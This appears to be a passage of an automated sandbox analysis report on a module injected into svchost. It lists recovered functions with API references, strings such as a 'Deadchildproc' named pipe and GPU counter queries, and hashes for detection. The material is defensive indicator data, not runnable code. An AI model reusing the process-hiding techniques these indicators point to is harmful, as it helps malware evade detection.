API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: bad array new length
API String ID: 190073905-1242854226
Opcode ID: 7ac826a7eb3537126ab8904f743de0d1d5af83f297bd596e103e72928a1e623e
Instruction ID: 0a4f49280b878744ad6f7ecf096596bdefc1ade17dc3b0f03a4227002bb2a120
Opcode Fuzzy Hash: 7ac826a7eb3537126ab8904f743de0d1d5af83f297bd596e103e72928a1e623e
Instruction Fuzzy Hash: 9B8106317112418AFBE0AB65984D39D77E0FB96780F584025E90877796EF3BC9828F13

Function 0000026A879C2FA0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 74
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PdhGetCounterInfoW.PDH ref: 0000026A879C2FF5
GetProcessHeap.KERNEL32 ref: 0000026A879C300A
HeapAlloc.KERNEL32 ref: 0000026A879C3018
PdhGetCounterInfoW.PDH ref: 0000026A879C302E
StrCmpW.SHLWAPI ref: 0000026A879C3043

Part of subcall function 0000026A879C3558: StrCmpNW.SHLWAPI ref: 0000026A879C357A
Part of subcall function 0000026A879C3558: StrStrW.SHLWAPI ref: 0000026A879C3594
Part of subcall function 0000026A879C3558: StrToIntW.SHLWAPI ref: 0000026A879C35BB

GetProcessHeap.KERNEL32 ref: 0000026A879C3080
HeapFree.KERNEL32 ref: 0000026A879C308E

Strings

\GPU Engine(*)\Running Time, xrefs: 0000026A879C303C

Memory Dump Source

Source File: 00000011.00000002.2950708004.0000026A879C1000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Associated: 00000011.00000002.2949913388.0000026A879C0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2951678801.0000026A879D3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2952497009.0000026A879DD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2953310575.0000026A879DF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2954113525.0000026A879E5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_26a879c0000_svchost.jbxd

Similarity

API ID: Heap$CounterInfoProcess$AllocFree
String ID: \GPU Engine(*)\Running Time
API String ID: 1943346504-1805530042
Opcode ID: 4320c3d255521c8809fbccc0c000ef70dc88065294953a5bba07585d713a8765
Instruction ID: 9743a15cf823048b83f34540bfda42efa9d852315c60b7257cefcabb8bc57946
Opcode Fuzzy Hash: 4320c3d255521c8809fbccc0c000ef70dc88065294953a5bba07585d713a8765
Instruction Fuzzy Hash: 7C319132600A41D7FBA0CF22A80C39EBBB0F798B95F444625DE4D63A24DF39C4568B42

Function 0000026A879C30B0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PdhGetCounterInfoW.PDH ref: 0000026A879C310E
GetProcessHeap.KERNEL32 ref: 0000026A879C311F
HeapAlloc.KERNEL32 ref: 0000026A879C312D
PdhGetCounterInfoW.PDH ref: 0000026A879C3143
StrCmpW.SHLWAPI ref: 0000026A879C3158

Part of subcall function 0000026A879C3558: StrCmpNW.SHLWAPI ref: 0000026A879C357A
Part of subcall function 0000026A879C3558: StrStrW.SHLWAPI ref: 0000026A879C3594
Part of subcall function 0000026A879C3558: StrToIntW.SHLWAPI ref: 0000026A879C35BB

GetProcessHeap.KERNEL32 ref: 0000026A879C3185
HeapFree.KERNEL32 ref: 0000026A879C3193

Strings

\GPU Engine(*)\Utilization Percentage, xrefs: 0000026A879C3151

Memory Dump Source

Source File: 00000011.00000002.2950708004.0000026A879C1000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Associated: 00000011.00000002.2949913388.0000026A879C0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2951678801.0000026A879D3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2952497009.0000026A879DD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2953310575.0000026A879DF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2954113525.0000026A879E5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_26a879c0000_svchost.jbxd

Similarity

API ID: Heap$CounterInfoProcess$AllocFree
String ID: \GPU Engine(*)\Utilization Percentage
API String ID: 1943346504-3507739905
Opcode ID: a2f2b6270209c0617fffbf8088b8af58c514d563d63196d61a77ac5b37470c57
Instruction ID: 03d1a9572a7d3362d738f50d6cd10881688dd27bf53d8d29efc6c5760e0490ee
Opcode Fuzzy Hash: a2f2b6270209c0617fffbf8088b8af58c514d563d63196d61a77ac5b37470c57
Instruction Fuzzy Hash: 21315C72610B429AFB90DF66A84C75E7BA1F7D4F85F444125DE4E63B24DF39C4068B02

Function 0000026A879C2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 238
librarystringloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 0000026A879C2CB8
GetProcAddress.KERNEL32 ref: 0000026A879C2CCD
StrCmpNIW.SHLWAPI ref: 0000026A879C2D10
lstrlenW.KERNEL32 ref: 0000026A879C2E39

Strings

NtQueryObject, xrefs: 0000026A879C2CC3
\Device\Nsi, xrefs: 0000026A879C2D03
ntdll.dll, xrefs: 0000026A879C2CB1

Memory Dump Source

Source File: 00000011.00000002.2950708004.0000026A879C1000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Associated: 00000011.00000002.2949913388.0000026A879C0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2951678801.0000026A879D3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2952497009.0000026A879DD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2953310575.0000026A879DF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2954113525.0000026A879E5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_26a879c0000_svchost.jbxd

Similarity

API ID: AddressHandleModuleProclstrlen
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 3607816002-3850299575
Opcode ID: 280e74d68912d67f2de1be9a053b4f09130ab35bfe7264d0fa8680fff1539601
Instruction ID: a118c866c4c1256a260de1025396f3283f424f8689449a41de93233df7f49ae5
Opcode Fuzzy Hash: 280e74d68912d67f2de1be9a053b4f09130ab35bfe7264d0fa8680fff1539601
Instruction Fuzzy Hash: 43A1BE32210B8186EFA8CF25E44879D7BA5F794B94F544026DE4977B98EF36CC81CB42

Function 0000026A879C104C Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 100
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 0000026A879C10B1
RegEnumValueW.ADVAPI32 ref: 0000026A879C1117
GetProcessHeap.KERNEL32 ref: 0000026A879C115C
HeapAlloc.KERNEL32 ref: 0000026A879C116A
GetProcessHeap.KERNEL32 ref: 0000026A879C1187
HeapFree.KERNEL32 ref: 0000026A879C1195

Strings

d, xrefs: 0000026A879C10D6

Memory Dump Source

Source File: 00000011.00000002.2950708004.0000026A879C1000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Associated: 00000011.00000002.2949913388.0000026A879C0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2951678801.0000026A879D3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2952497009.0000026A879DD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2953310575.0000026A879DF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2954113525.0000026A879E5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_26a879c0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: cdead5c203d895dcd3ca28035d3c1357740cab67237a15052ecca15c34582b89
Instruction ID: 647327272fee3884ab25219d834b0645aca49093f317836fe7a307fa954296ab
Opcode Fuzzy Hash: cdead5c203d895dcd3ca28035d3c1357740cab67237a15052ecca15c34582b89
Instruction Fuzzy Hash: 77418073214B80C6EBA0CF62E44839E7BA1F389B89F448119DA8957B58DF3DC549CB01

Function 0000026A879C2344 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 44
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 0000026A879C2359
GetCurrentProcessId.KERNEL32 ref: 0000026A879C2363
CreateFileW.KERNEL32 ref: 0000026A879C2394
WriteFile.KERNEL32 ref: 0000026A879C23BC
ReadFile.KERNEL32 ref: 0000026A879C23DB
CloseHandle.KERNEL32 ref: 0000026A879C23E4

Strings

\\.\pipe\Deadchildproc, xrefs: 0000026A879C2375

Memory Dump Source

Source File: 00000011.00000002.2950708004.0000026A879C1000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Associated: 00000011.00000002.2949913388.0000026A879C0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2951678801.0000026A879D3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2952497009.0000026A879DD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2953310575.0000026A879DF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2954113525.0000026A879E5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_26a879c0000_svchost.jbxd

Similarity

API ID: File$Process$CloseCreateCurrentHandleReadThreadWrite
String ID: \\.\pipe\Deadchildproc
API String ID: 166002920-2259481039
Opcode ID: 1005d7d54db17bd1b4de57f7c8175984e9a9ac4fa96f888e605f87ef2211e3c7
Instruction ID: 24d63e7d9458ffa1667c6ee4e7ba688e8a43ab0dcf7cd4f29dc9ada9a4da1437
Opcode Fuzzy Hash: 1005d7d54db17bd1b4de57f7c8175984e9a9ac4fa96f888e605f87ef2211e3c7
Instruction Fuzzy Hash: C711E236618A4082F750CB25F44835A7FA1F389BA5F544215EAAE17AA8CF7EC549CF02

Function 0000026A879C7930 Relevance: 12.2, APIs: 8, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 0000026A879C7958
__scrt_acquire_startup_lock.LIBCMT ref: 0000026A879C79AA
_RTC_Initialize.LIBCMT ref: 0000026A879C79D8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 0000026A879C79FE
__scrt_release_startup_lock.LIBCMT ref: 0000026A879C7A29

Memory Dump Source

Source File: 00000011.00000002.2950708004.0000026A879C1000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Associated: 00000011.00000002.2949913388.0000026A879C0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2951678801.0000026A879D3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2952497009.0000026A879DD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2953310575.0000026A879DF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2954113525.0000026A879E5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_26a879c0000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 7ac826a7eb3537126ab8904f743de0d1d5af83f297bd596e103e72928a1e623e
Instruction ID: 3ee43d61a3374edd555b07b018f79bdd43d66c52f438f55532310a519593b204
Opcode Fuzzy Hash: 7ac826a7eb3537126ab8904f743de0d1d5af83f297bd596e103e72928a1e623e
Instruction Fuzzy Hash: 4381D23160464186FFD0EB36984D3AD7AE4ABC5B80F4C8515EA0977796DB3BC9468F03

Function 0000026A879C9930 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32(?,?,?,0000026A879C9AEF,?,?,?,0000026A879C98B4,?,?,?,?,0000026A879C94A5), ref: 0000026A879C99B5
GetLastError.KERNEL32(?,?,?,0000026A879C9AEF,?,?,?,0000026A879C98B4,?,?,?,?,0000026A879C94A5), ref: 0000026A879C99C3
LoadLibraryExW.KERNEL32(?,?,?,0000026A879C9AEF,?,?,?,0000026A879C98B4,?,?,?,?,0000026A879C94A5), ref: 0000026A879C99ED
FreeLibrary.KERNEL32(?,?,?,0000026A879C9AEF,?,?,?,0000026A879C98B4,?,?,?,?,0000026A879C94A5), ref: 0000026A879C9A33
GetProcAddress.KERNEL32(?,?,?,0000026A879C9AEF,?,?,?,0000026A879C98B4,?,?,?,?,0000026A879C94A5), ref: 0000026A879C9A3F

Strings

api-ms-, xrefs: 0000026A879C99D5

Memory Dump Source

Source File: 00000011.00000002.2950708004.0000026A879C1000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Associated: 00000011.00000002.2949913388.0000026A879C0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2951678801.0000026A879D3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2952497009.0000026A879DD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2953310575.0000026A879DF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2954113525.0000026A879E5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_26a879c0000_svchost.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: af1dc5fe93b083055cd8c5ce044ece591eb4d9ced34ab9dbf74db6faff57ed03
Instruction ID: a696eec96b6663d70a0885f3b649a6c75654de3abf6a6abb57c31e6ac9d1ae5e
Opcode Fuzzy Hash: af1dc5fe93b083055cd8c5ce044ece591eb4d9ced34ab9dbf74db6faff57ed03
Instruction Fuzzy Hash: 3C31C331312A80D1FE95DB46A80879D7BA8B798BB4F5D0525DD6D2B390DF39C444CB02

Function 0000026A879D1CBC Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteConsoleW.KERNEL32 ref: 0000026A879D1CED
GetLastError.KERNEL32 ref: 0000026A879D1CF9
CloseHandle.KERNEL32 ref: 0000026A879D1D11
CreateFileW.KERNEL32 ref: 0000026A879D1D3C
WriteConsoleW.KERNEL32 ref: 0000026A879D1D5B

Strings

CONOUT$, xrefs: 0000026A879D1D1D

Memory Dump Source

Source File: 00000011.00000002.2950708004.0000026A879C1000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Associated: 00000011.00000002.2949913388.0000026A879C0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2951678801.0000026A879D3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2952497009.0000026A879DD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2953310575.0000026A879DF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2954113525.0000026A879E5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_26a879c0000_svchost.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ef389f1408fdc57218b3d17a10d8552332256b0ab613155e2b85b84f861b2611
Instruction ID: 8743c71627c99485b78fe8a65cea421a3187629fbadfe4c96ee6183c145cb0fa
Opcode Fuzzy Hash: ef389f1408fdc57218b3d17a10d8552332256b0ab613155e2b85b84f861b2611
Instruction Fuzzy Hash: 1D116A32314B4086F790CB52E85831DBEB4F798FE5F044225EA5E977A4DF7AC8448B41

Function 0000026A879C5F50 Relevance: 9.2, APIs: 6, Instructions: 240
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 0000026A879C5F8B
GetThreadContext.KERNEL32 ref: 0000026A879C60F5

Part of subcall function 0000026A879C5D80: GetCurrentThreadId.KERNEL32 ref: 0000026A879C5D84

Memory Dump Source

Source File: 00000011.00000002.2950708004.0000026A879C1000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Associated: 00000011.00000002.2949913388.0000026A879C0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2951678801.0000026A879D3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2952497009.0000026A879DD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2953310575.0000026A879DF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2954113525.0000026A879E5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_26a879c0000_svchost.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: d6438e14acddd0a34d7f097f3268bd65991f16ef90fc5aeffdae397213171ed3
Instruction ID: d3ece9226342da06a1a3bbaae611955e3353bbe06647f7ca74e4c9e7a4bd6a96
Opcode Fuzzy Hash: d6438e14acddd0a34d7f097f3268bd65991f16ef90fc5aeffdae397213171ed3
Instruction Fuzzy Hash: 6BD18B76208B8886EAB0DB1AE49835E7BB4F3C9B84F154116EA8D57BA5CF39C541CF01

Function 0000026A879C31C0 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000026A879C31E3
HeapAlloc.KERNEL32 ref: 0000026A879C31F6
StrCmpNIW.SHLWAPI ref: 0000026A879C3277
GetProcessHeap.KERNEL32 ref: 0000026A879C32DD
HeapFree.KERNEL32 ref: 0000026A879C32EB

Strings

Dead, xrefs: 0000026A879C3270

Memory Dump Source

Source File: 00000011.00000002.2950708004.0000026A879C1000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Associated: 00000011.00000002.2949913388.0000026A879C0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2951678801.0000026A879D3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2952497009.0000026A879DD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2953310575.0000026A879DF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2954113525.0000026A879E5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_26a879c0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: Dead
API String ID: 756756679-1293411866
Opcode ID: 16deceebbb86a4ee17dd3b940be503c67630b0e40e640d710b58a96d17f55941
Instruction ID: 0d58e6c7b06e3a54d04d8329436024ef45801c87d925d1ec8da3a648c607d7f4
Opcode Fuzzy Hash: 16deceebbb86a4ee17dd3b940be503c67630b0e40e640d710b58a96d17f55941
Instruction Fuzzy Hash: 7031B132701B5182FF91DF56A54836D7BA0FB94B80F0841209F8D23B55EF3AD4A58B42

Function 0000026A879C1934 Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 0000026A879C195A
K32GetModuleFileNameExW.KERNEL32 ref: 0000026A879C1978
PathFindFileNameW.SHLWAPI ref: 0000026A879C1987
lstrlenW.KERNEL32 ref: 0000026A879C1993
StrCpyW.SHLWAPI ref: 0000026A879C19A6
CloseHandle.KERNEL32 ref: 0000026A879C19B4

Memory Dump Source

Source File: 00000011.00000002.2950708004.0000026A879C1000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Associated: 00000011.00000002.2949913388.0000026A879C0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2951678801.0000026A879D3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2952497009.0000026A879DD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2953310575.0000026A879DF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2954113525.0000026A879E5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_26a879c0000_svchost.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 16d258a9ac026dd37d62bcd9d6c3911ef3c0b7ca7915ee34a9afe05dd31b2e3e
Instruction ID: a8e0171c67a4090ba16aba086995a0a5f9f3aa4c4eb718285ba1c06af9c52706
Opcode Fuzzy Hash: 16d258a9ac026dd37d62bcd9d6c3911ef3c0b7ca7915ee34a9afe05dd31b2e3e
Instruction Fuzzy Hash: 98015771704A4082FAA0DB12F85835D7AA1F788BC1F888134DE8D63798DE3AC986CB41

Function 0000026A879C3B00 Relevance: 9.0, APIs: 6, Instructions: 39threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,0000026A879C36A8), ref: 0000026A879C3B1C
GetCurrentProcess.KERNEL32(?,?,?,?,?,0000026A879C36A8), ref: 0000026A879C3B2A
VirtualProtectEx.KERNEL32(?,?,?,?,?,0000026A879C36A8), ref: 0000026A879C3B4C
GetCurrentProcess.KERNEL32(?,?,?,?,?,0000026A879C36A8), ref: 0000026A879C3B6D
VirtualProtectEx.KERNEL32(?,?,?,?,?,0000026A879C36A8), ref: 0000026A879C3B8E
TerminateThread.KERNEL32(?,?,?,?,?,0000026A879C36A8), ref: 0000026A879C3B9D

Memory Dump Source

Source File: 00000011.00000002.2950708004.0000026A879C1000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Associated: 00000011.00000002.2949913388.0000026A879C0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2951678801.0000026A879D3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2952497009.0000026A879DD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2953310575.0000026A879DF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2954113525.0000026A879E5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_26a879c0000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 30c8d17d90bd3745ebdb1f35502c968551356a20b63a74c7033b0010c96071d1
Instruction ID: 143900c74a0df011e25cc0b83d673d986b9b5014fc7cfd2f33c15e527db131aa
Opcode Fuzzy Hash: 30c8d17d90bd3745ebdb1f35502c968551356a20b63a74c7033b0010c96071d1
Instruction Fuzzy Hash: C611D775611B40D6FFA4DB25E81C72E7FB0AB88B46F080825C94D67764EF3EC5588B02

Function 0000026A879C19D8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 0000026A879C19F8
StrCmpNIW.SHLWAPI ref: 0000026A879C1A12
lstrlenW.KERNEL32 ref: 0000026A879C1A21
StrCpyW.SHLWAPI ref: 0000026A879C1A36

Strings

\\?\, xrefs: 0000026A879C1A06

Memory Dump Source

Source File: 00000011.00000002.2950708004.0000026A879C1000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Associated: 00000011.00000002.2949913388.0000026A879C0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2951678801.0000026A879D3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2952497009.0000026A879DD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2953310575.0000026A879DF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2954113525.0000026A879E5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_26a879c0000_svchost.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: a3d7cacd1ebb440911515f68b3794a8df69f5abb31c63e6f26f50beb6be48af3
Instruction ID: 2c744fe53c43a248a6804df52b1a5713068d28465468128cf141ac8cb254e403
Opcode Fuzzy Hash: a3d7cacd1ebb440911515f68b3794a8df69f5abb31c63e6f26f50beb6be48af3
Instruction Fuzzy Hash: 93F08C7234468192FBA0CB25E99835D7F60F784BC9F848020CA4C53958EE7EC688CF05

Function 0000026A879C330C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI(?,?,?,0000026A879C2585), ref: 0000026A879C332E
StrCpyW.SHLWAPI ref: 0000026A879C333E
StrCatW.SHLWAPI ref: 0000026A879C334A
PathCombineW.SHLWAPI(?,?,?,0000026A879C2585), ref: 0000026A879C3358

Strings

\\.\pipe\, xrefs: 0000026A879C3324

Memory Dump Source

Source File: 00000011.00000002.2950708004.0000026A879C1000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Associated: 00000011.00000002.2949913388.0000026A879C0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2951678801.0000026A879D3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2952497009.0000026A879DD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2953310575.0000026A879DF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2954113525.0000026A879E5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_26a879c0000_svchost.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 0fefe4693416a643ad9e70920ffc3e33abc3de2cb316a83794251c8f9330dfe7
Instruction ID: 740eec389ae694c30906cdc4a70235e8303d7f674255944eb109aec758b9ec89
Opcode Fuzzy Hash: 0fefe4693416a643ad9e70920ffc3e33abc3de2cb316a83794251c8f9330dfe7
Instruction Fuzzy Hash: 76F08230704B80D2FE90CB13B90811D7E21EB48FD1F488131DE5E27B68DE2DC4818B02

Function 0000026A879CA258 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 0000026A879CA274
GetProcAddress.KERNEL32 ref: 0000026A879CA28A
FreeLibrary.KERNEL32 ref: 0000026A879CA2A7

Strings

CorExitProcess, xrefs: 0000026A879CA283
mscoree.dll, xrefs: 0000026A879CA26B

Memory Dump Source

Source File: 00000011.00000002.2950708004.0000026A879C1000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Associated: 00000011.00000002.2949913388.0000026A879C0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2951678801.0000026A879D3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2952497009.0000026A879DD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2953310575.0000026A879DF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000011.00000002.2954113525.0000026A879E5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_26a879c0000_svchost.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: e9186c1451144fd021b714c5c272bd718a2131959171b64afe02b1703c1f89a6
Instruction ID: b1b204c9b3a76027ebfb515103c1ab1bb3bd2d4f4e351f9c0d0a1ba853116149
Opcode Fuzzy Hash: e9186c1451144fd021b714c5c272bd718a2131959171b64afe02b1703c1f89a6
Instruction Fuzzy Hash: ADF08C71721A00C1FFC4CF61E88C36C3F60EB88B52F481419990F67260DF2AC488DB02

Function 0000026A879C54F0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0000026A879C5576

Memory Dump Source

Source File: 00000011.00000002.2950708004.0000026A879C1000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Associated: 00000011.00000002.2949913388.0000026A879C0000.00000002.00000001.00020000.00000000.sdmpDownload File
